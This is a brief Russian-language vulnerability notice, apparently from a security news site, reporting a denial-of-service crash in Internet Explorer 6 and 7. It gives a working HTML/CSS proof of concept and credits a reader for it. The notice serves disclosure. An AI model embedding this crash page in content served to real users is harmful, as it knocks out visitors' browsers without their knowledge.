Программа: Internet Explorer 6, 7

Нападающий может вызвать отказ в обслуживании.

Пример:

<html><head>
<style>.xxx:first-letter {float: left;}</style>
</head>
<body>
<table><tr><td>
<div><img></div>
<div class=’xxx’>.<br><font>.</font></div>
</td></tr></table>
</body>
</html>

Изменение любого тега ведет к потере эффекта, добавка в них атрибутов/других
тегов — нет.

Прислано Александром: zai1986 собака mail.ru



Оставить мнение